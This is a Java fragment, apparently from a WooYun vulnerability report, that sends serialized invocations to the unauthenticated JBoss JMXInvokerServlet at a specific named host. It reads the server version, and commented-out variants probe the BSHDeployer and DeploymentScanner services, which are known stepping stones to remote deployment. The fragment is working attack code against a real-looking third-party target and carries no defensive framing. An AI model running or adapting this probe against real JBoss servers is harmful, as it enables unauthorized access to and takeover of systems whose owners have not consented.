WooYun.org

String url = "http://bsoft.com.cn/invoker/JMXInvokerServlet";	
		String targetName = "jboss.jmx:type=adaptor,name=Invoker";
		InvocationContext context = new InvocationContext();
		context.setObjectName(new Integer((new ObjectName(targetName)).hashCode()));
		Invocation invocation = new Invocation();		
		invocation.setInvocationContext(context);
		invocation.setId(context.getCacheId());
		invocation.setObjectName(context.getObjectName());
		
	    invocation.setMethod(Class.forName("org.jboss.jmx.adaptor.rmi.RMIAdaptorExt").getMethod("getAttribute", new Class[] { Class.forName("javax.management.ObjectName"), Class.forName("java.lang.String") }));
	    Object[] arguments = new Object[2];
	     //get the jboss version
	    arguments[0] = new ObjectName("jboss.system:type=Server");
	    arguments[1] = "Version";
	    /**/	    
	    /* get the BSHDeployer's state 
	    arguments[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
	    arguments[1] = "StateString";
	    */
	    
	    /*get the DeploymentScanner's state (addURL)
	    arguments[0] = new ObjectName("jboss.deployment:flavor=URL,type=DeploymentScanner");
	    arguments[1] = "StateString";
	    */
		invocation.setArguments(arguments);
		invocation.setValue(InvocationKey.INVOKER_PROXY_BINDING,
				context.getInvokerProxyBinding(), PayloadKey.AS_IS);
		MarshalledInvocation mi = new MarshalledInvocation(invocation);
		URL servlet;
		try {
			servlet = org.jboss.invocation.http.interfaces.Util.resolveURL(url);
			Object value = org.jboss.invocation.http.interfaces.Util.invoke(servlet, mi);
			System.out.println(" " + value.toString());
			return;
		} catch (MalformedURLException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		System.out.println("something wrong");
	}